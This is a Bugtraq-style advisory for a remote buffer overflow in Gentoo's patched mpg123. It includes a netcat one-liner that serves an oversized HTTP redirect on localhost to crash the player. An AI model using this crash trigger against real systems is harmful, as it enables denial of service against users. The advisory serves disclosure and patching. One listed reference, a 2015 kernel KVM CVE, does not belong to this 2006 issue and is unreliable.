Gentoo-Specific MPG123 Malicious URI Remote Buffer Overflow Vulnerability

Bugtraq ID:	18794
Class:	Boundary Condition Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 03 2006 12:00AM
Updated:	Jul 05 2006 04:19PM
Credit:	Discovery is credited to Horst Schirmeier <[email protected]>.
Vulnerable:	Gentoo media-sound/mpg123 0 Gentoo Linux
Not Vulnerable:	Gentoo media-sound/mpg123 0.59s -r11

Gentoo-Specific MPG123 Malicious URI Remote Buffer Overflow Vulnerability

The mpg123 application is prone to a remote buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

This issue may allow remote attackers to execute arbitrary machine code in the context of the affected application.

This issue is specific to a patch applied to the Gentoo Linux version of mpg123.

Gentoo-Specific MPG123 Malicious URI Remote Buffer Overflow Vulnerability

The following commands are sufficient to demonstrate this issue by crashing affected applications:

( echo -ne "HTTP/1.1 302 Found\r\nLocation: "
echo -ne "http://fooooooooooooooooooooooooooooooooooooooooooooooooo/\r\n\r\n"
)| nc -lp 8080 &

mpg123 http://localhost:8080/

Currently we are not aware of any exploits for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Gentoo-Specific MPG123 Malicious URI Remote Buffer Overflow Vulnerability

Solution:
A Gentoo Linux advisory and fixes are available to address this issue. Please see the referenced advisory for more information.

Gentoo-Specific MPG123 Malicious URI Remote Buffer Overflow Vulnerability

References:

• CVE-2015-7513 Kernel: kvm: divide by zero issue leads to DoS (Prasad J Pandit)
  
• Bugzilla Bug 133988 (Gentoo)
  
• mpg123 Home Page (mpg123)